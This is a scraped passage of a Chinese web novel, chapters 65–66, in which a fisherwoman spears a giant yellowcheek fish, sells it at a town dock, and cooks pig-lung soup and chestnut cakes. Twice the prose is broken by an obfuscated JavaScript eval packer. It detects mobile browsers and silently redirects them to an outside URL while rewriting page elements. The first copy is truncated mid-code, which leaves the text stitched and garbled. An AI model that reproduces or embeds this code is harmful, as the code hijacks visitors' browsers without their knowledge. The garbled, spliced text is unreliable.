这会朝阳早已高悬于空中，平安放目远望，东边的湖面一片金光，阳光照向河面仿若点点碎金坠入湖中，渐散的朝霞与耀眼的湖面相互映衬，水天仿佛在地平线连成一线。 连带着那些在湖面行走的大船背影也变成黑色的模糊背影，让人看不真切来。 这会船舱尚未填满，平安便继续撒网捞鱼。 也是她今日运道好，接下来的网虽偶有空漏，可无骨肉丰、色如透玉的小银鱼，还有体型奇特色泽艳丽的胭脂鱼，这些可都是大河里难寻着的金贵鱼种。 忙活得越久，也就愈发接近大河。为着提防日光灼伤，平安早早就戴上了斗笠，饶是如此，也已经累出一身汗来。 趁着四下无人，她取出条干净脸巾擦干身上汗渍，又将它搭在后脖吸汗遮阳。 再好看的美景，在疲累之下再看也少了几分滋味。 就在平安失神休憩之际，船身周边却传来阵奇异响动。 平安当即惊得站直身体，捏紧手中木桨凝神细观四周动静。 “哗啦！”耳边传来大鱼甩尾的泠泠水声。 平安侧目朝声源望去，水面泛起的巨大波澜尚未消散。 这地方水草并不如滩涂区域丰茂，况且水下环境复杂，想来不是那惹人厌的鼍才是。 可是能惹出这样大的动静，看这水面痕迹也知是个大家伙。 平安轻轻划动木桨，继续追逐动静而去。 她从船舱壁上取出鱼线与大鱼钩，三两下将鱼钩鱼线与竹竿绑好，再往鱼钩上挂上一块她买的新鲜猪肝做饵料，一杆简易的钓鱼竿就做好。 朝北边背阴处水面抛下饵料打窝，平安便将鱼竿甩下。 倏地，水面的鹅毛浮漂一阵异动，平安瞬间觉手中竹竿受重吃力，她赶忙将鱼竿提起，可为时已晚，除了溅了自个一身水，一样收获也无。 还白白损失了一块竹竿。 平安本只为兴趣所试，可这次的失利反而激发了她的好奇心。 一次！ 两次！ 三次！ 不成，这鱼好似越来越狡猾了。 平安深吸一口气，决定及时止损，收杆继续前进。 可躲在水中的那大家伙却好似没吃过瘾，竟还追逐着她的船前行。 这下，平安的好胜心彻底被激起。 她佯装前行，仔细观察船周动静，随即便抛下船锚，将贵重财物收纳，头发衣服束好。 听得水中再度传来动静,她带着鱼叉一把扎入水中。 夏季虽热，可湖水却有些冰凉。 不过两息，微凉的湖水便已浸润全身。好久未曾下水，平安小心在水中划动，也趁着这个适应的时间，慢慢睁眼打探水中情况。 云梦湖虽深，但水质却是清澈非常。这会明媚的日光从湖面斜斜倾洒而下，平安很快便看清水中情况。 65. 杀鱼的第六十五天 湖下水质清澈，不少小鱼小虾正悬游在水域上层悠闲嬉戏，连她渔船的船底也被水中斜斜倾洒的阳光照得清晰可见。 见有巨物潜水而来，那些鱼虾纷纷受惊逃窜。 平安吐出一口气，水中顿时泛起一串透明气泡。再往水底一望，底下水质虽清可却深不见底，无端让人心生畏惧。水深几何目测难以估量，怕是得潜下去才可一探究竟。 平安屏气凝神，保存体力，仔细观察身边动静。 她悠悠拨动面前的湖水，沿着船身慢慢游走。 蓦然，前方不远处一道硕大的银白身影引起平安注意。 看来方才闹出那番动静的不是惹人厌的鼍，不是让她害怕的蛇，而是眼前这条大鱼。 平安水下憋气功夫不够，这会在水下停留半晌，已然是心有余而力不足。为免力殆出事，她朝那鱼游走方向看了一眼，便赶忙浮上水面换气。 陡然从光线偏暗的水底穿到满目金光的耀眼水面，平安只觉有一瞬间的刺目。 她稳住身形，抬手擦干眼周的水，将甲板上的猪肝朝前方水面扔去后，平安深吸一口气，再度往水下潜行。 闻到熟悉的血腥味，那大鱼果真调头而来。 平安勉力睁大眼睛，这才看清楚这家伙的真容。 这大鱼身形如梭，腹部银白，尾部、鳍部呈青灰色，头长细而吻尖，朝她游来时，水中的小鱼纷纷作鸟兽状飞速逃窜。 这条鳡鱼身长怕是近六尺，足与成人身高媲美，也难怪它在这片水域肆无忌惮横行。 也难怪有人唤它水中老虎，这样的身形和牙齿，等闲小鱼小虾哪里是它的对手，但凡接近，一口便被轻易吞下。 平安捏紧手中鱼叉，脚下轻轻踢水，维持身体平衡。 就在它靠近之际，平安快速朝前俯冲，手中鱼叉直往这鱼鳃部而去。 “哗！” 那鱼叼走猪肝，在水中一个摆尾，霎时与平安的鱼叉擦身而过。 尖锐的鱼叉将将擦过它侧边的光滑鱼腹，水中顿时晕染出一圈淡淡的血丝。 见它往前方的水底逃窜，平安咬牙紧追不舍。 可行到后面，看着周遭摇曳的水草，平安这才惊觉，这里水草丰茂，她一不小心就得被缠绕束住手脚。 狡猾的东西，方才两方缠斗不息，已然耗尽平安肺部的氧气，她只得放弃继续追逐，转而往水面呼吸渡气。 望着水面太阳的倒影越来越近，平安的心依旧不敢懈怠。 这鳡鱼能得个水老虎的称谓，那可不是浪得虚名，除了攻击力强，打遍淡水水域几无敌手外，不少渔民或村民亦曾在它们手中吃过大亏。 水中本就是鱼类的主场，更何况这家伙身长体壮，在水中扑腾甩尾威力不可小觑。平安从小就听了不少鳡鱼吃人的传闻，虽不知是真吃还是拖拽溺亡，但这家伙难缠却是在四里八乡出了名的。 近了，更近了。 平安憋足气，努力克制怦怦乱跳的心脏，加大力气想要更快一步浮出水面。 可谁知脚下却传来异响，与此同时，小腿传来微微的刺痛，她低头一看，竟是那鳡鱼。 它竟又折返回来，这会正张开大口，朝她小腿咬来。 也幸亏她腿上绑了几层束带，这才没被它一口到肉。 这家伙看着嘴部不宽，可它体型硕大，嘴巴再小，也抵成人手掌宽度，若被那密密麻麻的锯齿咬住，不死也得脱层皮。 那鱼一击未成，便迅速离开。平安见状，立即放弃纠缠，蹬水继续往上游去。 终于浮在水面呼吸到了新鲜空气，胸腔里的憋闷这才一扫而空。 平安从水面往下望去，果真看见一模糊的银色影子在她周边徘徊。 她心思一转，当下有了主意。 再度潜入水中，平安这会并不急着主动攻击，而是与那鳡鱼保持着不远不近的距离。 见它开始犹疑，她伸开手中的猪肝，淡淡的腥膻味顿时弥漫在水中，有鳡鱼在，其它鱼虾压根不敢靠近。 而那鳡鱼却也似没闻到般，依旧悠闲地在平安周边游走。 看来，这东西不但贪心，还有些记仇。 它要是真不想报复，怕是早就走了，哪还愿意在这陪她玩什么聊斋。 一人一鱼就这样在水中慢慢僵持，平安心知这鳡鱼怕是要给她玩拖字诀，越是这样，她越不能着急。 随着时间的流逝，胸腔里的氧气越来越少，平安的心也控制不住地咚咚乱跳起来，连带着身形也难以维持。 就在此刻，那条大鳡鱼却突然朝她甩尾猛冲而来。 十米、八米、五米、三米，近了，越来越近，近到她可清晰地看清它口中锐利又密集的锯齿。 变故的发生就在一瞬间，就在一人一鱼即将相撞之际，平安在水中一个侧身翻滚，躲开鳡鱼攻击，反手将鱼叉插入鱼鳃之中，而她左手亦被那鳡鱼大力甩尾击得一阵酸痛。 水中血气更甚，鳡鱼吃痛大力挣扎，方才还清澈可见的水面顿时被他们的动作搅得浑浊不堪。 趁着一击即中，平安一手大力拽紧鱼叉不敢松手，另一只手则从鱼腹摸至鱼鳃处，伸手拽起这鳡鱼就往上游。 鳡鱼吃痛挣扎，求生力道不容忽视，可平安这会只觉胸腔中的氧气即将耗尽，亦着急换气保命。再拖下去情况对她不利，唯有浮出水面吸上几口新鲜空气，她才有力再战。 是以她亦使出全身力气，奋力朝水面游去。 可谁知就在她即将破水而出之时，手中突然一阵失力，回头一瞥，竟是那鳡鱼趁她力殆挣脱了束缚往水中俯冲逃命。 平安心中无奈，但也只得加快朝水面游去，她快憋不住了。 憋气多时，陡然吸到新鲜空气，平安只觉空气中都是甘甜的味道，她的神思亦逐渐回拢。怕那鳡鱼逃远，平安猛吸几口新鲜空气后再憋气入水。 幸运的是，那鳡鱼因负伤逃得不远。平安循着水中的血迹，加速游至鳡鱼身边。 为防鱼叉从鳡鱼身上掉落，还得费劲去捡拾。平安并未选择一把抓起鱼叉，只是不紧不慢地随着鳡鱼游走，再趁其不备，伸手抠进鱼鳃就往上游。 这一回她不敢再懈怠，只是死死抓紧鱼鳃大力蹬腿往上游。 等她浮上水面这才发现，外边日光昭昭，而自己早已离船数百米。 平安眨了眨眼睛，竭力将鱼拖向船边。 等鱼被她用绳子牢牢系住口鳃，平安方瘫坐船头长舒一口气。要不是自己力气大，怕是今日也难奈何它。 有了这条大家伙，她接下来也不必再撒网，估计附近稍微大点的鱼都已被它吓跑。 只是她没有这样大的鱼护，船舱也难以容纳它的庞大身躯。 思来想去，平安只得将渔网改造一番，把这条大鳡鱼塞入渔网之中，放入水中随船拖拽前行。 要是放在船头，怕是等不及到玉溪镇就得归天变臭，她还指望着将它卖个好价钱呢。 讲这些东西归置好，平安这才回到船舱换了身干净衣物。 吃了两个油饼垫垫肚子，平安便准备继续赶路。这油饼吃起来虽没刚出炉时香，但有油有糖，用来饱腹正好。 要从云梦湖入大河，怕是还得走上个把时辰。 一路紧追慢赶，平安总算在申时赶到了玉溪镇码头。 早在半路她便去了汉云码头处理掉部分鱼，这剩下的鳡鱼她是打算留着在玉溪镇卖掉。 一来是给自家档口造造势，二来也好多引些客流照拂生意。 等平安将留着一口气的鳡鱼拖拽上岸，瞬间引来码头众人围观。不拘是闲逛的镇上百姓，还是忙活的游商与纤夫，皆放下手中活计往平安这边而来。 “这是什么鱼？这么大！” “确实确实。” “我长这么大，还是头一回见到这么大的河鱼哟。” “这可不是河鱼。”平安笑道，“这是我千辛万苦从云梦湖捕上的鳡鱼。” “你这小娘子，竟认得鳡鱼？” “这鳡鱼如何卖，就是可惜太大了。” 待听得这鱼来自云梦湖，不少当地人纷纷询问能不能分开切卖，平安霎时被热情又好奇的百姓围住。 诚然，在玉溪镇的居民眼里，这鱼圈也是存在鄙视链的。 小溪的鱼不如小河，小河的鱼不如大河，大河的鱼亦不如云梦湖。 他们这里距离云梦湖算不上近，要吃上几顿云梦湖的鱼，除非去州府或是那周边的亲戚家。 要是待在家中不动，有人怕是一辈子也难遇着几回云梦湖所出的大鱼。 毕竟玉溪镇自个也是水系发达，河溪交纵，水产丰饶，除了本地渔民，有谁想不开特意从云梦湖贩些鱼来鱼米之乡买卖呢？ “胡娘子可真是好生厉害？这鱼是怎么捕捞上的？” “嗐。”平安心有余悸地摆摆手，这才压低声音回道，“都是侥幸，都是侥幸。” “拆开卖吧，胡娘子，让咱也尝尝这大湖里大鱼的味道。” 平安却只是笑着摇摇头：“等会再看看吧，大家若是想买云梦湖的好鱼，我这里鲤鱼、鲫鱼、翘嘴、银鱼都有，这些肉质可是个顶个的清甜。” 有人打破道：“咱们玉溪镇的鱼也不差。” “那是。”平安笑着应诺，“咱们玉溪镇的鱼好，云梦湖的鱼也好，各有滋味，各有千秋，大家买回家尝尝就知味道。” “嗐，你这娘子，讲话真是油滑。” 对于不买她鱼，还动辄评论的人，平安虽不会甩脸色，但也不会将他们的话放在心上。做生意哪有不被质疑的，她行的端立的正，不怕他们问，就怕他们不问。 “这话说得，去过云梦湖的人可都知道，那湖面一望无际，风浪颇大。水质那更是不用说，我站在船头，可瞧见水下数米有鱼儿在游动。” “您想想那样清澈如镜的水质，喝上一口该是何等甘甜，它里面孕育出的鱼虾，那自然也不是普通水域所能比拟。” “那是。”人群中有人抚须捧哏，“多年前我去过云梦湖，那边的水清澈得同明镜一般，湛蓝湛蓝，澄澈见底。” 见有人替平安说话，一些认得她的人便笑言：“好，瞧你说得这样好，我便买上些尝尝，若是不好吃，我定要来找你理论理论。” 这人大手一挥，买上一条三斤重的翘嘴。 平安笑道：“如果不是云梦湖所产，您只管找我。我卖鱼的档口就在咱镇上市集，若是您吃了好，也请您往后多多照顾生意。” “你这小娘子，倒是。” “娘子！”木头提着几个木桶叮叮当当走近。 见平安完好无损，他这才长嘘一口气，擦了擦额间的冷汗。 平安正欲回话，耳畔又有声音响起。 “胡娘子？” 竟是之前常来照顾她生意的郭叔，这人也是老饕，不知今日找她是否会照顾些生意？ “郭叔！”平安颔首笑应。 “胡娘子这是卖的鳡鱼？”他倾身走近，盯着船头的鱼问道。 “正是，您果真识货。” “真是云梦湖所得？” “比真金还真，我是从云梦湖入大河，再回咱们玉溪镇的。” 说罢，平安指尖轻抚鱼身鳞片：“您瞧，这鱼身整体色泽看似是银色，可单看鳞片，它每片鳞片上边可还有层淡淡的金光。” 众人闻声低头望去，果然，那条鳡鱼身侧的鳞片在日光下金芒更显。 这可是个好寓意，这下人群更为轰动，不少人你一言我一语开始低声议论起来。 不待别人开口，郭叔便问平安：“这鱼如何卖？” “我只整卖，不拆卖。” “若是价格合适，我便给你包下这条鱼。” “好。”平安开口试探，“十七文一斤。” “这么贵？” “这么大的鱼可不容易得。”平安并未理睬，可木头却在一旁替平安找补。 郭叔仔细检查了下大鳡鱼身上的伤痕，又打量几眼平安摆在外边的其他鱼类，这才开口问她：“一共多少斤，我要了。” “果真？”木头兴奋问道，那语调，显然比平安还要开心。 “你这后生，我骗你作甚？”郭叔玩味回应。 木头忙笑着接话：“方才一时高兴过了头，这才说了胡话，我心中被您的阔绰与慷慨所震，这才迷了心神。我这人年纪轻，藏不住话，还请您原谅。” “哈哈。你这小郎君，倒是一如既往地嘴甜。”郭叔不在意地摆摆手，笑着接受木头的奉承。 可这鱼身长一米有余，重量几近百斤，普通称怕是难以称出其重量。 这一点平安早有打算，她档口中有杆长秤，用来称这条大鱼是足够。 喊上木头照看渔船，平安回到档口取出长秤。 待回到码头，这边里三层外三层早已围满了看热闹的百姓。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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做起来也很是简单，平安捞出一笊篱银鱼便放它们在清水里先养着，她得先将买来的猪肺处理干净。 这新鲜的猪肺表面血丝纵横，色泽红润，若要将它入菜，则需细心又耐心地多次用水冲洗，直至鲜红的猪肺被洗得发白。 将等会要用的配菜切好浸泡，平安端起木盆来到井边，这里水多，清洗起来才方便。 往猪肺顶端的肺管中不断注入干净的水，直至猪肺体积膨胀变大，便可倒干净肺中污水，接着便是继续灌水、倒水，如此周而复始数遍，直至猪肺洗得干净发白。 洗好的干净猪肺若是切开，里面的组织依旧白嫩细腻，无血丝脏污，如此做出来的菜才鲜嫩无腥。 把猪肺外衣剥开，用刀剔除肺部主管。 剩下的猪肺则用刀斜片成薄片，以每片上有小肺管切片纹理最佳。 锅中另起锅焯水，下猪肺、姜片、黄酒、几颗花椒祛除腥味，将猪肺煮至将熟时捞出控水。 另一边，平安敲了个鸡蛋，单独取出蛋清敲匀，又舀出两勺葛根粉与两勺水搅和成均匀的糊状。 锅中下油，入香覃小火慢煎。与此同时，平安将银鱼换水淘洗干净，放一旁沥水备用。 待锅中传出幽幽香味，则可下小银鱼一同小火慢煎。 等小银鱼煎至定型，锅中下水开始焖煮。 等待水沸的时间，平安从卤水坛中舀出数勺卤水入锅，待卤水沸腾，则下入少许清水、猪肺、切块的白豆腐煮制。 待银鱼汤熬得咕噜作响，平安加盐、舀入粉糊开始勾芡。方才还雪白的鱼汤在粉糊的作用下慢慢变成透明微白的浓稠状。 平安见状，撒下搅匀的蛋白快速搅拌。 不多时，浓稠的汤汁中瞬间出现一缕缕缥缈如烟雾的纯白色蛋花，汤汁与蛋花一深一浅，相互映衬，看着也勉强入眼。但平安觉得，这样还是少了些颜色。 最后扔下几颗枸杞，撒上一撮翠绿的葱花，这碗汤羹中有白、有透、有红有绿、一碗模样还算顺眼的银鱼翡翠鸡蛋羹便可新鲜出炉。 也得亏这会天热，菜做出来半个时辰也难以冷却。 将其它的青菜炒好，那边的卤水锅早已煨得咕噜泛泡，浓厚的香气随着渺渺白雾四散开来，直勾得人肚中馋虫四起。 今日到码头晚，也买不到什么好菜，这猪肺说来没太大营养，但好歹也算一块肉，吃着聊胜于无。 平安觉得今日的膳食一般，可爷爷与木头两人尚未品尝便对桌上的菜赞叹不已，也不知这两日两人都是吃的些什么东西。 木头夹了一块猪肺，嫩弹的肺片在筷著中间前后摇摆，不时还滴落点点汤汁。 看他轻轻吹了吹就要往口中送，平安赶忙嘱咐：“当心烫！” 可惜为时已晚，平安话音未落，木头便被烫得连连哈气。 “好烫，好烫。”末了，他似是缓了过来，顿道，“香，好香。” 不怪木头如此反应，平安自己吃着这味亦觉得鲜嫩非常。 肺片又细嫩又弹爽，肺片中间的小气管入口脆脆爽爽，除了可让肺片更易煮熟，也是丰富口感与沾满醇厚鲜香卤水汤汁的好手。夹上一片裹满汤汁的肺片细品，在这热气腾腾的汤汁中间，夹杂着软嫩又清爽的肺片。乍然入口，只让人觉得软、嫩、鲜，口感与口味俱佳。 这味道十分熟悉，就好似之前吃过许多次，可平安无论怎么想，却也想不起来究竟在哪儿吃过。 肺片尚且如此嫩滑，更别提本就嫩滑的豆腐。 豆腐外表光滑细腻，可内里却充斥着细密的小孔，一旦产生裂痕，鲜美的汤汁便趁虚而入，满满当当填满那些细密的组织。 吃上一口，又香又烫，鲜美的口感仿佛能将人的舌头鲜掉。 当然，这样的鲜香得益于养护得宜的卤水，不枉她日日煮沸，不时添置卤料与高汤。 若是冬日里再加些卤制好的肉食与豆制素菜，一家人围坐炉前吃上个卤水锅子，那滋味，才是羊肉都不换。 吃得腻口了，再喝上一碗鲜香爽滑的银鱼鸡蛋羹，吃起来也是细腻鲜爽。 银鱼的鲜香通过小火早已慢慢析入汤汁之中，再辅之以芡汁与蛋清的细腻滑嫩，配上不容忽视的葱香，入口又是另一种极致的鲜香。 就着下饭的肺片与豆腐，一家人间或聊上几句，剩下的时间多是闷声吃饭。 66. 杀鱼的第六十六天 干莲子生意随着夏季的结束悄然进入尾声，档口里的虾饼在霜冻到来之前依稀勉强支撑着。 晚稻早已在田间抽条长成修长的稻苗，被秋风一吹，田间顿时掀起层层起伏的碧浪。 平安也终于换下轻薄的夏衫，穿上了她喜欢的长褙。 秋日的风清爽微润，阳光依旧灿烂，只是少了几分夏日的燥意，属实算得上一年中气候最佳的时节。 待檐下的燕子开始成群结队在空中盘旋飞舞，为着南飞避寒做最后的准备，村后湖边的板栗树下也落满一地炸开的刺果。 忙完档口的事后，木头就随爷爷一同去了地里忙活。 平安就趁着这个空档，一手提着火钳一手拎竹竿，背起竹篓带着灰灰小白往村后边走去。 河堤两岸分布着葱茏的各类树木，四季常青的樟树柏树倒不必提，结满果子的无患子、苦楝子也是乡间常客。最为惹眼的还属那一排排笔直冲天的杉树，瞧着树干挺拔，气势冲天，只可惜枝头叶子渐染秋黄，终究是难留夏季常青之色。 村里的劳力这会多在田间忙碌，河边倒是出现了许多妇人小孩。 见得平安过来，一些人陆续与她打招呼：“哟，平安，今日生意可好？” “都好，大家都好。”平安笑着招呼两句，便各自散过。 她发现，自从她做了那倒卖莲子的生意，村里人便对她陡然热情又客气。 平安捡了几颗掉落的无患子在手心搓了搓，再抬头仔细观察树上的果子，一簇簇圆润的无患子果实分散在枝头，果实颜色多呈青黄色，再过段时间才是收割的时机。 小白和灰灰如今俨然是大狗的模样，个个毛发油光水亮，瞧着矫健又神气。 见走路向来大步流星的平安这会在桥上也得小心行走，它们也机灵地有样学样，谨慎地踮起小脚尾随在主人身后。 待过了小桥，往人烟稀少的湖边深入，刚踩上蓬松刺挠的牛筋草，耳边便传来阵阵清脆的鸟雀啁鸣声。 到了这儿，路边便开始出现一些桃李、柑橘之类的果树。 湖边这些板栗树四处分散，东一棵西一棵，结出的板栗也与当地栗子颇有些不同。 当地板栗多大而扁，而这板栗却饱满圆润形似锥尖，想来不知是什么动物从外边带来了种子，这才留下这些锥栗在这处肥沃土壤生根发芽。 见有人靠近，树上的鸟雀顿时扑棱着翅膀飞散到其它树上躲避危险。 这个时节，板栗陆续成熟，板栗树周边的地上已落满褐色的刺团。 好吃的东西，好看的物件多是带刺，板栗亦如是。 这些浑身满是褐刺的团子当地人叫栗苞，正是板栗用来保护种子的伪装，需得沿着缝隙将它们一一撬开，才能取出里面光滑且略带绒毛的棕色板栗来。 平安弯腰仔细辨别，见得个头饱满的便用钳子夹住往背篓里扔。 灰灰一向是个好奇宝宝，看平安捡拾板栗，它也有样学样用爪子踢玩起栗苞来，只可惜，狗爪刚伸出去，便被栗苞外边的硬刺戳得嗷嗷直叫。 趴地上的小白这会也闻声而起，两步跃至灰灰身边朝它轻轻摇尾。 不多时，两条狗子便互相蹭头，好不亲昵。 平安蹲身摸了摸狗头，笑着安抚：“傻狗，这个你们可别碰，戳伤了可不好治，去旁边玩玩吧。” 两条狗倒也听话，闻言便乖巧跟在平安身后，轻易不再戳弄四周的果实。 在地上捡了些，平安又将视线转移至树上，见得有那微微开口的果子，她便后退一步，用竹竿轻轻敲动，成熟的栗苞便哗啦啦往下掉。 这东西又硬又多刺，从树上砸到人身上，那可不是一般地痛，她自然要小心为妙。 不多时，背篓里已满是等待剥壳的板栗。 新鲜的板栗生吃清脆甘甜，煮熟绵软糯实，用火烤出来那更是焦香四溢，粉糯清甜。 不过近日，她打算用它来做一道秋日限定的栗子糕。 将栗子倒在地上，平安一手用钳子夹住栗苞，一手用小刀沿缝隙开撬。 忙活半晌，一背篓栗苞最终只剥出堪堪一篮子板栗。 新鲜的板栗大小精致，外壳光滑难以处理，但幸好之前用来剥莲子的工具还在，平安想着个头相差不大，便将工具取出好奇拿来一试。 将板栗放在工具中间，使板栗壳与刀片接触，平安压上木板用力推动板栗朝前轻轻滚动。 顷刻间，板栗便从工具顶端砰然落地，平安捡起一看，这壳竟被完整切开。 这可比菜刀好使！ 平安忙去灶台将火与蒸笼架起，这才继续回到院子处理板栗。 有了爷爷做的工具帮忙，平安很快便将板栗壳肉分离。 这时候锅中的水亦早已沸腾，平安将栗子肉过水清洗后便放入蒸屉开蒸。 随着阵阵幽幽栗子清香传来，平安掀开笼盖，用筷子戳向栗子，见筷尖轻易将板栗戳透，她便将柴火抽出，将栗子端下。 将蒸熟的板栗摊开放置，平安趁热撕掉板栗肉外层的薄膜，很快，一颗颗金黄圆润的板栗肉便被完整剥出。 前段时间金桂飘香，隔着老远便可闻见那股馥郁的桂花香味，平安便摇了些桂花做了些桂花蜜，今日用来放在这栗子糕中正好。 将煮熟的栗子捣碎成细腻的泥，锅中入少量油润锅，下入栗子泥开始翻拌，粉糯的泥瞬间变得油润光亮。 再沿锅边倒入少量牛乳，栗子泥状态变得愈发稀软。 而这会炉中烈火熊熊，锅内温度正高，最是容易糊锅。平安双手不停，便一边加入少量牛乳，一边快速将栗子泥搅拌均匀。 若想让栗子泥成团，能增加粘性的糖或蜂蜜必不可少。 待锅中栗子泥翻炒得水分渐干，平安舀出少半加入桂花蜜翻拌，锅中余下栗子泥则下入白糖、蜂蜜继续翻拌均匀，直至白糖融化，蜂蜜与栗子泥融为一体。 接下来的步骤便十分简单，只需将处理好的栗子泥揉捏成团，放入糕点模具中轻轻挤压。 一份奶香浓郁，细腻绵软的栗子糕便做好。 看着撒了桂花蜜的栗子糕表面出现片片桂花花瓣，平安便想起自个春日里窖制的那些上好花茶，这会还剩下一些，用在这里倒是适宜。 从茶叶罐中取出两小撮干燥的茶叶，放置于石碾之中，伴随着阵阵沉闷的摩挲声响，清雅的茶香幽幽闯入鼻间，翠青的茶叶已然被碾成细腻的墨绿色茶粉。 随即将翠绿的茶粉与撮好的栗子团混合均匀，淡淡的翠色凌乱地点缀其中，霎时为栗糕增添几分别样色彩。 如此做出的栗子糕，既有花茶的清雅幽香，又兼具栗香与奶香，口感比之普通的栗子糕更为丰富。 若不喜栗糕的甜腻，茶粉的涩味正好可以中和部分甜味。 只可惜点茶太过费时费力，不然这香浓软糯的糕点与轻盈细腻的茶水，倒是绝配。 正当灶上水壶铮鸣，冒出腾腾热气，屋外突然传来木头欢快的声音：“娘子娘子！” “回得正好。”平安推开灶门，朗声笑应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995314|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷爷与木头满头大汗的模样霎时映入眼帘，平安上前接过爷爷手中的锄头，抬眸便与木头直勾勾的眼神对视。 “栗糕在灶台上，先吃点栗糕垫垫肚子。”平安拍了拍木头的肩，转身走到杂物间把农具放好。 等她再回正房，就见木头已经将栗子糕与茶壶端到了堂屋，爷孙俩早已端坐畅聊多时。 “建房子的事，再等等，到时候少不了又得借钱欠账。” 这几个月雨水稀少，村后小河的水肉眼可见地退了至少五米，玉溪河那也不必说，码头旁陈年的旧石壁都露出数米，拉船的纤夫们生意倒是红火起来。 对于靠天吃饭的农人来说，这委实算不上什么好消息。 爷爷他们今日去田里忙活，主要还是为了挖渠引水灌溉，顺带锄些稗草。 水稻水稻，少不了的就是水，为着引水灌溉沟渠，爷爷这些日子没少半夜起身忙活。 他前段时间好不容易养回来的肉，这会瞧着又肉眼可见地掉了下去，整个人晒得是蜡黄又枯瘦。 “都听爷爷的。”木头笑呵呵递过茶水。 见平安坐下，胡水生笑着摆摆手：“你们也别着急，这么多年咱都过来了，不急在这一时半会。” “爷爷说得是。”平安指了指栗子糕，“您尝尝，有桂花味的，茶味的，还有奶香味的，看看您喜欢吃哪种？” 爷爷随手拈上一个，却不料这栗子糕这样柔软，竟轻易被指腹捏得变形。 看他尝试性抿了一口，眼睛却不自觉轻颤，平安心知他满意，起身为他继续添茶。 “这栗糕细腻绵软，入口即化，细品之下还有浓郁的奶香，好吃，真好吃。”爷爷尚未开口，木头大口吃上一块，照例乐呵吹捧。 “好吃你便多吃点。” 在爷爷的轻笑声中，平安好笑地给他塞上一块栗糕。 秋日里档口生意还算不错，多亏得了些膏肥肉厚的秋蟹，让平安多赚了些钱财。 这时节倒还好，若是等到冬日，下得几场大雪，河面结起薄冰，河鱼又多躲藏洞穴之中猫冬，怕是市面上能流通的鱼大都是池塘里的存货。 届时去河里捕鱼都是得看天看运，到时候，被那湿冷透骨的河风一吹，那才叫凄凉咧。 饶是平安脑中已初步想好补贴收入的法子，可只要一想到往年冬日的严寒，她就格外不舍这凉风习习，清爽怡人的秋日。 待堤边的杉树与枫树皆染上秋日的红霜，火红的落叶铺满河堤两岸，平安喊上木头一块去采收无患子与皂角，来年家中洗碗洗衣可都靠着它们。 “娘子？”木头的声音骤然靠近，瞬间打破平安的遐思。 “嗯？”平安回首，却见他咧嘴轻笑，修长的指尖直朝她面部而来，平安下意识闭眼躲避。 再睁眼，耳边却传来他揶揄的嬉笑声：“有片落叶。”他伸手拈过，随即附耳低笑，“正衬娘子娇颜。” 青天白日，嘴里总是没个把门，隔三岔五给她来一句轻浮浪.语。 平安无奈嗔视，伸手就是一锤，他却笑得愈发灿烂，熟稔接过她的攻击，一把将她右手握在掌心。 两人相视一眼，皆忍俊不禁。 这人平日里虽有些吊儿郎当的小毛病，看着不大靠谱，可相处久了，两人脾性开始磨合，平安竟觉得这样打打闹闹的日子好似也不错。 等秋收一到，村子里家家户户齐齐上阵收割稻子，空气中弥漫着新鲜稻草被割断后所飘出的独特清甜香气，平安也将之前的计划开始提上日程。